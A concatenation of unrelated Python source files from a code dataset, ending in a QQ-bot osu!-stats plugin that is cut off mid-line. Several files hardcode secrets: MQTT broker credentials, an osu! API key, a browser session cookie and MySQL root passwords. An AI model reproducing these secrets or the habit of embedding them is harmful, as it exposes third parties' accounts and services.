\"default\": {\n \"format\": \"%(asctime)s - %(process)s - %(name)s - %(levelname)s - %(message)s\"\n }\n },\n \"handlers\": {\n \"console\": {\n \"formatter\": \"default\",\n \"class\": \"logging.StreamHandler\",\n \"stream\": \"ext://sys.stdout\",\n \"level\": \"DEBUG\",\n }\n },\n \"root\": {\"handlers\": [\"console\"], \"level\": \"DEBUG\"},\n \"loggers\": {\n \"gunicorn\": {\"propagate\": True},\n \"uvicorn\": {\"propagate\": True},\n \"uvicorn.access\": {\"propagate\": True},\n \"events\": {\"propagate\": True},\n \"tasks\": {\"propagate\": True},\n },\n}\nlogging.config.dictConfig(log_conf)\n\napp = FastAPI(\n docs_url=\"/api/docs\",\n redoc_url=\"/api/redoc\",\n openapi_url=\"/api/openapi.json\",\n)\n\napp.add_event_handler(\"startup\", connect_to_mongodb)\napp.add_event_handler(\"startup\", connect_cache)\napp.add_event_handler(\"startup\", set_webhook_on_startup)\napp.add_event_handler(\"startup\", interface_controller.fill_db_interface_collection)\napp.add_event_handler(\"shutdown\", close_mongodb_connection)\napp.add_event_handler(\"shutdown\", disconnect_cache)\n\napp.include_router(api_router, prefix=\"/api\")\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\n f\"{settings.DOMAIN}\",\n \"localhost\",\n \"localhost:3000\",\n \"http://localhost:3000\",\n \"http://localhost\",\n ],\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n allow_credentials=True,\n)\n","repo_name":"Azaze1l/spb-restaurants-bot","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"29762680381","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 14 22:06:39 2020\n\n@author: ciro\n\"\"\"\n\n\"\"\"\nEjercicio 6: Crear una función que devuelva por pantalla un mensaje ingresado por parámetro pero en modo Title. \nSi el mensaje ya está en modo title,\n que devuelva por pantalla \"El mensaje ya está en modo title: {mensaje}\"\n\"\"\"\n#%%\ndef modeTitle(msg):\n if msg.istitle():\n return f\"El mensaje ya está en modo title: {msg}\"\n else:\n return f\"El mensaje en modo title es: {msg.title()}\"\n\nprint(modeTitle('Hola Como Estas'))\nprint(modeTitle('Hola como estas'))","repo_name":"CiroIgnacio/Python_Curso","sub_path":"Guía 3/Ejercicio6_3.py","file_name":"Ejercicio6_3.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71530361753","text":"import os\r\nimport time\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom matplotlib.font_manager import FontProperties\r\nfrom utils_plots import *\r\n\r\nplt.rcParams['font.sans-serif'] = 'SimHei'\r\nplt.rcParams['axes.unicode_minus'] = False\r\n\r\nset_name,method_names,path_list = get_names_adv1()\r\nmethod_names = method_names[1:-1]\r\npath_list = path_list[1:-1]\r\nlog_files = get_log_files(path_list)\r\n\r\nbase_idx = len(log_files) - 1\r\nreverse_metrics = ['LOE']\r\nsave_dir = '../Figs/spider/'\r\nos.makedirs(save_dir,exist_ok=True)\r\n\r\ndef read_stats_for_spider(df):\r\n for m in reverse_metrics:\r\n df[m] = 1 / df[m]\r\n \r\n labels = df.columns.values\r\n stats = np.mean(df.values,axis=0)\r\n angles=np.linspace(0, 2*np.pi, len(labels), endpoint=False)\r\n \r\n return labels,stats,angles\r\n\r\ndef plot_spider():\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111, polar=True)\r\n\r\n yticks = np.linspace(0.0,1.0,5,endpoint=True)\r\n\r\n # 准备基准线数据\r\n df_base = pd.read_csv(log_files[base_idx],index_col=0)\r\n labels,stats,angles = read_stats_for_spider(df_base)\r\n\r\n base_stats = stats\r\n # 角度与指标一一对应\r\n for _s,_x in zip(base_stats,angles):\r\n # 在每个角度下,半径与数值一一对应\r\n for _y in yticks:\r\n ax.annotate(f'{_s*_y:.2f}',(_x,_y))\r\n\r\n for idx,log_file in enumerate(log_files):\r\n df_metrics = pd.read_csv(log_file,index_col=0)\r\n\r\n print(method_names[idx],np.mean(df_metrics.values,axis=0))\r\n \r\n labels,stats,angles = read_stats_for_spider(df_metrics)\r\n \r\n if idx == base_idx:\r\n stats = np.ones_like(base_stats)\r\n else:\r\n stats = stats / base_stats\r\n \r\n # 画图数据准备,角度、状态值\r\n stats=np.concatenate((stats,[stats[0]]))\r\n angles=np.concatenate((angles,[angles[0]]))\r\n # 用 Matplotlib 画蜘蛛图\r\n\r\n ax.plot(angles, stats, '.-', linewidth=3,label=method_names[idx],alpha=0.7)\r\n # ax.fill(angles, stats, alpha=0.25)\r\n\r\n plt.xticks(angles[:-1],labels)\r\n plt.yticks(yticks,['']*len(yticks))\r\n plt.legend(loc = 'upper right')\r\n plt.tight_layout()\r\n plt.savefig(save_dir+f\"{set_name}-spider_{int(time.time())}\",dpi=300)\r\n plt.close()\r\n \r\nif __name__ == '__main__':\r\n plot_spider()","repo_name":"JamesZhutheThird/LLIE-CLIP","sub_path":"plots/plot_spider.py","file_name":"plot_spider.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21488256524","text":"# https://leetcode.com/problems/remove-nth-node-from-end-of-list/\n\n# Question\n# Given the head of a linked list, remove the nth node from the end of the list and return its head.\n\n# Example\n# Input: head = [1,2,3,4,5], n = 2\n# Output: [1,2,3,5]\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\nclass Solution(object):\n def removeNthFromEnd(self, head, n):\n # Concept (left & right pointer, creating offset or gap b/w them)\n # take right pointer pointing to the head &\n # left pointer pointy to a dummy node, whose next will point head\n # move right pointer n times to make offset/gap b/w left & right\n # when right will reach at the end of the pointer\n # then at that time our left pointer will be one behind the element which we want to\n # delete bcz of dummy node\n \n dummy = ListNode(0, head)\n left = dummy\n right = head\n \n # making offset or gap here b/w two pointers\n while n > 0:\n right = right.next\n n -= 1\n \n while right:\n left = left.next\n right = right.next\n \n # delete\n left.next = left.next.next\n return dummy.next","repo_name":"Ismail-butt/leetcode-solutions","sub_path":"19. Remove Nth Node From End of List.py","file_name":"19. Remove Nth Node From End of List.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3671022593","text":"from django.core.management import BaseCommand\nfrom airports.models import City, Airport, Country\n\n__author__ = '4ikist'\n\n\nclass Command(BaseCommand):\n args = 'file name and path'\n\n def handle(self, *args, **options):\n with open(args[0]) as fn:\n lines = fn.readlines()\n for line in lines:\n params = line.strip().split(',')\n #this 4 airports can add with hands\n if len(params) != 11:\n continue\n air_id = int(params[0])\n air_name = params[1].strip('\"')\n city = params[2].strip('\"')\n country = params[3].strip('\"')\n iata = params[4].strip('\"')\n icao = params[5].strip('\"')\n longt = float(params[6])\n latit = float(params[7])\n amcl = int(params[8])\n utc = float(params[9])\n xz = params[10].strip('\"')\n try:\n self.stdout.write('params: [%s] [%s] [%s] [%s] [%s] [%s] [%s] [%s] [%s] [%s] [%s]' % (\n air_id, air_name, city, country, iata, icao, longt, latit, amcl, utc, xz))\n except Exception as e:\n pass\n country_obj, _ = Country.objects.get_or_create(name=country)\n if not _:\n country_obj.save()\n\n city_obj, _ = City.objects.get_or_create(name=city, country=country_obj)\n if not _:\n city_obj.save()\n\n airport, _ = Airport.objects.get_or_create(id=air_id, name=air_name, iata=iata, icao=icao, utc=utc,\n amcl=amcl, latitude=latit,\n longitude=longt, xz=xz, city=city_obj)\n if not _:\n airport.save()\n\n\n","repo_name":"alexeyproskuryakov/test_biruki","sub_path":"airports/management/commands/import_csv.py","file_name":"import_csv.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9584342086","text":"valor = float(input('Digite o preço do produto: '))\n\nprint('1 - Dinheiro/Cheque (10{} de desconto)'.format('%'))\nprint('2 - À vista no cartão (5{} de desconto)'.format('%'))\nprint('3 - Em até 2x no cartão (Preço normal)')\nprint('4 - 3x ou mais no cartão (20{} de juros)'.format('%'))\n\nformapagamento = int(input('\\nDigite o código da forma de pagamento: '))\n\nif(formapagamento == 1):\n valor = valor - valor*0.1\nelif(formapagamento == 2):\n valor = valor - valor*0.05\nelif(formapagamento == 4):\n valor = valor + valor*0.2\nelif(formapagamento > 4):\n print('Código inválido.')\n exit()\n\nprint('Valor final: R${}'.format(valor))\n","repo_name":"SirGuiL/Python","sub_path":"Mundo 2/Python_Exercicios/ex044.py","file_name":"ex044.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22405597625","text":"from flask import Flask, render_template, request\nfrom compute import compute\nfrom model import InputForm\n\napp = Flask(__name__)\n\n\n@app.route('/hw1', methods=['GET', 'POST'])\ndef index():\n form = InputForm(request.form)\n if request.method == 'POST' and form.validate():\n a = form.a.data\n b = form.b.data\n s = compute(a, b)\n return render_template(\"view_output.html\", form=form, s=s)\n else:\n return render_template(\"view_input.html\", form=form)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"sawyermarchand9/Flask-Exercise-One","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6193739567","text":"# Import the necessary libraries\nimport time\nimport paho.mqtt.client as mqtt\n\nTOPIC=\"nist/psiap/ai3/air_quality\"\n\n# Define the on_connect function to be called when the client connects to the MQTT broker\ndef on_connect(client, userdata, flags, rc, properties=None):\n print(\"MQTT broker connected!\")\n\n# Define the on_subscribe function to be called when the client subscribes to a topic\ndef on_subscribe(client, userdata, mid, granted_qos, properties=None):\n print(\"topic subscribed!\")\n\n# Define the on_message function to be called when a message is received on a subscribed topic\ndef on_message(client, userdata, msg):\n print(msg.topic + \":\\t\" + str(msg.payload))\n\n# Create an MQTT client instance\nclient = mqtt.Client(client_id=\"\", userdata=None, protocol=mqtt.MQTTv5)\n\n# Set the client callbacks\nclient.on_connect = on_connect\nclient.on_subscribe = on_subscribe\nclient.on_message = on_message\n\n# Set the client TLS version and credentials\nclient.tls_set(tls_version=mqtt.ssl.PROTOCOL_TLS)\nclient.username_pw_set(\"nistai3\", \"nistpscrai3\")\n\n# Connect to the MQTT broker\nclient.connect(\"030a29b11d714f4dae6fb60c9ab4a2c5.s1.eu.hivemq.cloud\", 8883)\n\n# Subscribe to a topic\n\nclient.subscribe(TOPIC, qos=1)\n\n# Enter the client network loop and begin listening for messages\nclient.loop_forever()\n","repo_name":"taugroup/PSIAP_AI3","sub_path":"Phase2/scripts/air_quality_hivemq.py","file_name":"air_quality_hivemq.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"28513767089","text":"import threading\nimport time\n\nclass ThreadA(threading.Thread):\n def __init__(self, event):\n threading.Thread.__init__(self)\n self.event = event\n\n def run(self):\n count = 0\n while count <5:\n time.sleep(1)\n if self.event.is_set():\n print(\"Thread A\")\n self.event.clear() # the event is taken care of\n count +=1\n\nclass ThreadB(threading.Thread):\n def __init__(self,event):\n threading.Thread.__init__(self)\n self.event = event\n def run(self):\n count =0\n while count <5:\n time.sleep(1)\n if not self.event.is_set():\n print(\"THREAD B\")\n self.event.set()# set but has no info\n count+=1\nevent = threading.Event()\nta = ThreadA(event)\ntb = ThreadB(event)\n\nta.start()\ntb.start()","repo_name":"OlivierPan/mastering_python_high_performance","sub_path":"5th_chap/thread_event.py","file_name":"thread_event.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29405927202","text":"import random\nimport numpy as np\nfrom scipy.sparse import csr_matrix\n\nrowd = int(input(\"What is the row dimension of your matrix? \"))\ncold = int(input(\"What is the column dimension of your matrix? \"))\nnnz = int(input(\"How many non-zero values are in your matrix? \"))\n\nrowpos = []\ncolpos = []\nvalues = []\ns = random.randint(0, rowd-1)\nb = random.randint(0, cold-1)\nrowpos.append(s)\ncolpos.append(b)\nvalues.append(random.randint(1, 100))\n\nsize = rowd * cold\nif nnz > size:\n print(\"Please enter a number of non-zero values that is less than or equal to the size of the matrix.\")\n exit()\n\n\nwhile len(rowpos) < nnz and len(colpos) < nnz:\n s = random.randint(0, rowd-1)\n b = random.randint(0, cold-1)\n inList = False\n for i in range(0, len(rowpos)):\n if s == rowpos[i] and b == colpos[i]:\n inList = True\n if inList == False:\n rowpos.append(s)\n colpos.append(b)\n values.append(random.randint(1, 100))\n\nrow = np.array(rowpos)\ncol = np.array(colpos)\ndata = np.array(values)\n\nshape = (rowd, cold)\nfirstparam = (data, (row, col))\nsparseMatrix = csr_matrix(firstparam, shape)\nsparseMatrix_arr = sparseMatrix.toarray()\n\nprint(\"Here is your sparse matrix:\")\nprint(sparseMatrix_arr)\nprint(\"Here is your sparse matrix in compressed sparse row format:\")\nprint(sparseMatrix)","repo_name":"sans270/BeeppLLM","sub_path":"Sparsity/SparseMatrix.py","file_name":"SparseMatrix.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40362178750","text":"#%%\nimport os\nimport sqlite3\nimport pandas as pd\nimport gen_mapjs_functions as gen_mapjs\n#%%\n# get connection to database\ndb_path = os.path.join(\"..\", \"metadata\", \"metadata.sq3\")\nconnection = sqlite3.connect(db_path)\n\n# read in site table\nsite_df = pd.read_sql_query('SELECT * from site', connection)\n\n#close connection\nconnection.close()\n#%%\n# tiles to use and copyright info\ntile_url = 'https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png'\ntile_attributions = 'Map data © <a href=\"https://www.openstreetmap.org/copyright\">OpenStreetMap</a> contributors'\nmax_zoom = 18\n\n# where to save map javascript files\nmap_dir = os.path.join('..', 'source', '_static', 'network_maps')\nif os.path.exists(map_dir) == False:\n os.makedirs(map_dir)\n#write javascript for all sites as a cluster map\nall_site_geojson = gen_mapjs.get_networks_geojson(site_df) \nall_site_map_path = os.path.join(map_dir,\"all_site_map.js\")\ngen_mapjs.gen_cluster_mapjs(all_site_map_path, all_site_geojson, 0, 0, 2,\n tile_url, tile_attributions, max_zoom)\n#write javascript for each site and network individually \nall_networks = site_df['network'].unique()\nfor network in all_networks:\n network_sites = site_df[site_df['network'] == network]\n # get map focus inferred by site locations\n mid_point_lat, mid_point_lon, zoom = gen_mapjs.get_focus_point(network_sites)\n network_geojson = gen_mapjs.get_networks_geojson(network_sites)\n #generate network map\n map_path = os.path.join(map_dir, 'networks', f\"{network}_map.js\")\n if os.path.exists(os.path.join(map_dir, 'networks')) == False:\n os.makedirs(os.path.join(map_dir, 'networks'))\n gen_mapjs.gen_mapjs(map_path, network_geojson, mid_point_lat, mid_point_lon, zoom,\n tile_url, tile_attributions, max_zoom)\n # write a map for every site \n for index, site in network_sites.iterrows():\n site_geojson = gen_mapjs.get_site_geojson(site, network)\n site_map_dir = os.path.join(map_dir, 'networks', network)\n if os.path.exists(site_map_dir) == False:\n os.makedirs(site_map_dir)\n site_map_path = os.path.join(site_map_dir, f\"{site['id']}_map.js\")\n gen_mapjs.gen_mapjs(site_map_path, site_geojson, site['latitude'], site['longitude'], 13,\n tile_url, tile_attributions, max_zoom)\n\n\n# %%\n","repo_name":"Urban-Meteorology-Reading/muhd-meta","sub_path":"scripts/gen_mapjs.py","file_name":"gen_mapjs.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24714131420","text":"import numpy as np\nimport sklearn.metrics as skm\n\n\ndef eval_clf(clf, datasets):\n for split_name, dataset in zip(['train', 'validation'], datasets):\n X_i, y_i = dataset\n if X_i is not None:\n y_pred = clf.predict(X_i)\n print(f'\\nSplit: {split_name}')\n print(skm.classification_report(y_i, y_pred))\n\n\ndef eval_reg(reg, datasets):\n # Evaluate our predictor quantitatively\n for split_name, dataset in zip(['train', 'valididation'], datasets):\n X_i, y_i = dataset\n if X_i is not None:\n y_pred = reg.predict(X_i)\n\n rmse = np.sqrt(skm.mean_squared_error(y_i, y_pred))\n print(f'\\nSplit: {split_name}')\n print(f\"\\tRMSE: {rmse:.2f}\")\n mae = skm.mean_absolute_error(y_i, y_pred)\n print(f\"\\tMAE: {mae:.2f}\")\n","repo_name":"Introvertuoso/TwitterSentimentPrediction","sub_path":"src/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26715461831","text":"class AnonymousSurey():\n def __init__(self, question):\n self.question = question\n self.responses = []\n\n def show_question(self):\n print(self.question)\n\n def store_response(self, new_reponse):\n self.responses.append(new_reponse)\n\n def show_results(self):\n print(\"Oto wyniki ankiety:\")\n for response in self.responses:\n print(f'-{response}')\n\nsurvey = AnonymousSurey('Jaki jes twój ulubiony język programowania?')\nsurvey.show_question()\n\nwhile True:\n response = input('Język:')\n if response == 'q':\n break\n survey.store_response(response)\n\nprint('Dziękuje za udział w ankiecie')\nsurvey.show_results()","repo_name":"MichalDrosio/python-basic","sub_path":"testy/ankieta/survey.py","file_name":"survey.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28386828765","text":"# -*- coding: utf-8 -*-\nimport pymysql \nimport time\nimport json\nimport requests\nimport threading\nimport datetime\nimport traceback\nfrom qqbot import qqbotsched\n\ngroup_list = ['614892339','514661057','641236878']\n\ndef onInit(bot):\n t = threading.Thread(target=sched_day_insert, args=())\n t.start()\n\ndef onQQMessage(bot, contact, member, content):\n if contact.ctype == 'group':\n if contact.qq not in group_list:\n return\n\n #通用线程函数\n t = threading.Thread(target=_method, args=(bot, contact, member, content))\n t.start()\n\n return\n\ndef _method(bot, contact, member, content):\n\n if '!s' == content:\n msg = get_stats(member.qq)\n bot.SendTo(contact, msg)\n return\n elif '!days' in content:\n try:\n days = content.split(' ')\n if len(days) > 1:\n days = int(days[1])\n else:\n days = 0\n msg = get_stats(member.qq, days)\n bot.SendTo(contact, msg)\n except:\n bot.SendTo(contact, '请好好输参数...(!days 2)')\n return\n elif content == '!status':\n update_status(bot, contact, member, content)\n return\n\ndef sched_day_insert():\n o = osu()\n try:\n o.time_insert()\n except:\n print('定时任务出错')\n traceback.print_exc()\n\ndef get_stats(qq, days=0):\n o = osu()\n res = o.get_myinfo(qq)\n if not res:\n return '未绑定,请使用setid!'\n return o.osu_stats(res[5], days)\n\ndef update_status(bot, contact, member, content):\n o = osu()\n # 今日更新数量\n uplist = o.today_updates()\n # 绑定用户数量\n bindlist = o.get_osuid_list_fromDB()\n # 调整为osuid\n uplist_new = uplist\n bindlist_new = bindlist\n len_up = len(set(uplist))\n len_bind = len(set(bindlist))\n auto_flag = 0\n error_user = set(bindlist_new) - set(uplist_new)\n len_error = len(error_user)\n # print('up的数量:%s,bind的数量:%s,error的数量:%s'%(len_up,len_bind,len_error))\n if len_error == 0:\n msg = '今日更新数据无误,更新条数:%s' % len_up\n elif len_error < 0:\n msg = '今日更新数据异常,更新条数:%s大于绑定用户数:%s' % (len_up,len_bind)\n else:\n msg = '今日更新条数:%s,未更新数量:%s' % (len_up,len_error)\n if len_bind-len_up > 5:\n msg += ',开始自动更新剩余用户...'\n print('自动更新列表:%s'%error_user)\n auto_flag = 1\n else:\n msg += ',这几个用户被放弃了:%s' % list(error_user)\n bot.SendTo(contact, msg)\n if auto_flag:\n error_user = list(error_user)\n o._inerts_many(error_user)\n bot.SendTo(contact, '自动插入完成!')\n print('***********待清理列表:%s**********'%error_user)\n # 自动清理\n # if o.del_users(error_user):\n # bot.SendTo(contact, '如下列表用户被自动清理:%s'%error_user)\n # else:\n # bot.SendTo(contact, '自动清理异常!')\n\n return\n\ndef data_format(lists):\n res_list = []\n for l in lists:\n new_data = l.lower()\n new_data = new_data.replace('_',' ')\n new_data = new_data.replace('%20',' ')\n res_list.append(new_data)\n return res_list\n\nclass osu:\n\n def __init__(self):\n self.con = pymysql.connect(host='127.0.0.1',user='root',password='123456',db='osu')\n self.headers = {\n 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Encoding' : 'gzip, deflate, br',\n 'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',\n 'Connection' : 'keep-alive',\n 'Cookie' : '__cfduid=d0f839d6873527f32fe3b9dc8426362481508213944; XSRF-TOKEN=DMTtpVyEN1VvSFglE9tFYui1BkrkcuHMxh9bB1IH; osu_session=eyJpdiI6IktyNWxtVFJVNmwwcGdoS05FK21yYVE9PSIsInZhbHVlIjoiZ0t3Z0pzYUoxbXJcL1J6Mm10UmM0WG51c1Y0RTg3R0ZrNVRtcVJCSWV0bytwZjQ2OFwvaTI1MFI5Z2x5bkx3b0RrbWlyclV4U1wvQmtxQU5EY01VN2FcL0NnPT0iLCJtYWMiOiJlZWJhZTU0NzgzNzM4MGQxMmJlYTY0NjA2NTE0NDQyYmJkNzg1MDQyNWE3YjU0OTUyMGZmOGQwOGE5ZTM5YjQ0In0%3D; _ga=GA1.2.987670012.1508213952; __utma=226001156.987670012.1508213952.1508238423.1509076921.2; __utmz=226001156.1508238423.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cf_clearance=ffcabb88813877be171e47f35a2c99cbb8c1146a-1509076917-31536000; __utmb=226001156.3.10.1509076921; _gid=GA1.2.38718716.1509076975',\n 'Host' : 'osu.ppy.sh',\n 'Upgrade-Insecure-Requests' : '1',\n 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0'\n }\n self.osu_api_key = 'b68fc239f6b8bdcbb766320bf4579696c270b349'\n\n def get_con(self):\n self.con = pymysql.connect(host='127.0.0.1',user='root',password='123456',db='osu')\n\n def get_cursor(self):\n return self.con.cursor()\n\n def get_myinfo(self, qq):\n '''qq绑定信息'''\n try:\n cur = self.get_cursor()\n sql = '''\n SELECT * FROM user where qq = %s\n '''\n cur.execute(sql, qq)\n res = cur.fetchall()\n if not res:\n return 0\n return res[0]\n except:\n traceback.print_exc()\n return 0\n\n def today_updates(self):\n '''今日更新数据'''\n cur = self.get_cursor()\n sql = '''\n SELECT osuid FROM user2 where time=%s\n '''\n today = self.get_today()\n cur.execute(sql, today)\n res = cur.fetchall()\n ret = [r[0] for r in res]\n return ret\n\n def del_users(self, users):\n '''清理用户'''\n try:\n cur = self.get_cursor()\n sql = '''\n DELETE FROM user where osuname in (%s)\n '''\n in_p = ','.join(map(lambda x: '%s', users))\n sql = sql % in_p\n res = cur.execute(sql, users)\n self.con.commit()\n return res\n except:\n self.con.rollback()\n traceback.print_exc()\n return 0\n\n\n def __del__(self):\n self.con.close()\n\n def insert_user(self,*user):\n try:\n cur = self.get_cursor()\n sql = 'insert into user2(username,pp,acc,pc,rank,tth,time,osuid) values(%s,%s,%s,%s,%s,%s,%s,%s)'\n result = cur.execute(sql,tuple(user))\n print('插入数据结果:'+str(result))\n self.con.commit()\n except:\n self.con.rollback()\n pass\n\n def get_user_fromDB(self,username,days=0):\n cur = self.get_cursor()\n if not days:\n if self.is_today():\n time = self.get_today()\n else:\n time = self.get_yes()\n else:\n time = self.get_daystime(days)\n sql = 'select * from user2 where username=%s and time>=%s limit 1'\n print('查询时间:'+time)\n result = cur.execute(sql,(username,time))\n print('查询数据结果:'+str(result))\n if result:\n user_info = cur.fetchall()\n #print(user_info)\n return user_info\n else:\n return ''\n\n def get_user_list_fromDB(self):\n print('查询用户列表..')\n cur = self.get_cursor()\n sql = 'SELECT osuname from user GROUP BY osuname'\n result = cur.execute(sql)\n user_list = cur.fetchall()\n ret = [r[0] for r in user_list]\n return ret\n return user_list\n\n def get_osuid_list_fromDB(self):\n print('查询用户列表..')\n cur = self.get_cursor()\n sql = 'SELECT osuid from user GROUP BY osuid'\n result = cur.execute(sql)\n user_list = cur.fetchall()\n ret = [r[0] for r in user_list]\n return ret\n return user_list\n\n def exist_user(self,uid):\n #print('查询用户是否存在')\n cur = self.get_cursor()\n sql = 'SELECT 1 from user2 where username=\"'+uid+'\" limit 1'\n result = cur.execute(sql)\n user_list = cur.fetchall()\n return user_list\n\n def check_today_user(self,uid,time):\n print('%s已存在今日数据'%uid)\n cur = self.get_cursor()\n sql = '''SELECT 1 from user2 where username=%s and time = %s limit 1'''\n result = cur.execute(sql, [uid,time])\n user_list = cur.fetchall()\n return user_list\n\n def osu_stats(self,uid,days=0):\n try:\n print('查询用户:'+uid)\n res = requests.get('https://osu.ppy.sh/api/get_user?k=%s&u=%s'%(self.osu_api_key,str(uid)),headers=self.headers,timeout=5)\n\n result = json.loads(res.text)\n if not result:\n return ''\n #print(result)\n result = result[0]\n username = result['username']\n osuid = result['user_id']\n pp = result['pp_raw']\n in_pp = float(pp)\n #print(in_pp)\n rank = result['pp_rank']\n acc1 = round(float(result['accuracy']),2)\n #print(acc1)\n acc = str(acc1)\n pc = result['playcount']\n count300 = result['count300']\n count100 = result['count100']\n count50 = result['count50']\n tth = eval(count300)+eval(count50)+eval(count100)\n tth_w = str(tth//10000)\n #与本地数据比较\n u_db_info = self.get_user_fromDB(uid, days)\n if u_db_info:\n info = u_db_info[0]\n add_pp = str(round(in_pp - float(info[2]),2))\n add_rank = info[5] - int(rank)\n if add_rank >= 0:\n add_rank = '+'+str(add_rank)\n else:\n add_rank = str(add_rank)\n add_acc = round(acc1 - float(info[3]),2)\n if add_acc >=0.0:\n add_acc = '+'+str(add_acc)\n else:\n add_acc = str(add_acc)\n add_pc = str(int(pc) - int(info[4]))\n add_tth = str(tth - int(info[6]))\n times = info[7].strftime('%Y-%m-%d')\n d = username+'\\n'+pp+'pp(+'+add_pp+')\\n'+'rank: '+rank+'('+add_rank+')\\n'+'acc : '+acc+'%('+add_acc+')\\n'+'pc : '+pc+'pc(+'+add_pc+')\\n'+'tth : '+tth_w+'w(+'+add_tth+')\\n'+times\n else:\n d = username+'\\n'+pp+'pp(+0)\\n'+'rank: '+rank+'(+0)\\n'+'acc : '+acc+'%(+0)\\n'+'pc : '+pc+'pc(+0)\\n'+'tth : '+tth_w+'w(+0)\\n'+str(datetime.date.today())\n #in_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))\n is_exist = self.exist_user(uid)\n # if not is_exist:\n # print('用户不存在,进行插入')\n # #检测时间段0-9点\n # if self.is_today():\n # in_time = self.get_today()\n # else:\n # in_time = self.get_yes()\n # self.insert_user(username,in_pp,acc1,pc,rank,tth,in_time,osuid)\n return d\n except:\n traceback.print_exc()\n\n def getU(self,uid):\n try:\n print('获取用户:'+uid)\n res = requests.get('https://osu.ppy.sh/api/get_user?k=%s&u=%s'%(self.osu_api_key,str(uid)),headers=self.headers,timeout=2)\n except:\n print('获取失败:'+uid)\n res = ''\n return res\n\n def get_today(self):\n today = datetime.date.today()\n return str(today)+' 9:00:00'\n\n def get_yes(self):\n now = datetime.datetime.now()\n date = now - datetime.timedelta(days = 1)\n return date.strftime('%Y-%m-%d')+' 9:00:00'\n\n def get_daystime(self, days):\n now = datetime.datetime.now()\n date = now - datetime.timedelta(days = days)\n return date.strftime('%Y-%m-%d')+' 9:00:00'\n\n def is_today(self):\n #0昨天 1今天\n now_hour = time.strftime(\"%H%M%S\")\n cmp_hour = 90000\n if int(now_hour) - cmp_hour < 0:\n return 0\n else:\n return 1\n\n def is_insert_today(self):\n cur = self.get_cursor()\n time = self.get_today()\n sql = 'SELECT 1 from user2 where time=\"'+time+'\" LIMIT 1'\n result = cur.execute(sql)\n user_list = cur.fetchall()\n return user_list\n\n def auto_inert(self):\n self._inerts_many(self.get_user_list_fromDB())\n\n def _inerts_many(self, userlist):\n try:\n today = datetime.date.today()\n in_time = str(today)+' 9:00:00'\n for uid in userlist:\n try:\n res = self.getU(uid)\n get_num = 0\n while not res:\n if get_num < 5:\n get_num += 1\n res = self.getU(uid)\n else:\n break \n if not res:\n continue\n\n result = json.loads(res.text) \n if result: \n result = result[0]\n else:\n continue\n username = result['username']\n osuid = result['user_id']\n pp = result['pp_raw']\n in_pp = float(pp)\n rank = result['pp_rank']\n acc1 = round(float(result['accuracy']),2)\n pc = result['playcount']\n count300 = result['count300']\n count100 = result['count100']\n count50 = result['count50']\n tth = eval(count300)+eval(count50)+eval(count100)\n self.insert_user(username,in_pp,acc1,pc,rank,tth,in_time,osuid)\n print(uid+'插入成功')\n except:\n print('[%s]插入失败'%uid)\n traceback.print_exc()\n except:\n print('auto_inert错误')\n traceback.print_exc()\n\n def insert_forday(self):\n print('开始执行定时插入任务')\n self.auto_inert()\n print('定时插入任务结束')\n\n def time_insert(self):\n '''定时任务'''\n today = datetime.date.today()\n now_hour = time.strftime('%H%M%S')\n is_run = int(now_hour) - 90000\n if is_run < 0:\n print('延时执行')\n now = datetime.datetime.now()\n stats = datetime.datetime(today.year,today.month,today.day,9,0,0)\n delay = (stats - now).seconds\n print(delay)\n s = sched.scheduler(time.time, time.sleep)\n s.enter(delay,0,self.insert_forday,())\n s.run()\n else:\n print('超过时间,立即执行定时任务')\n if not 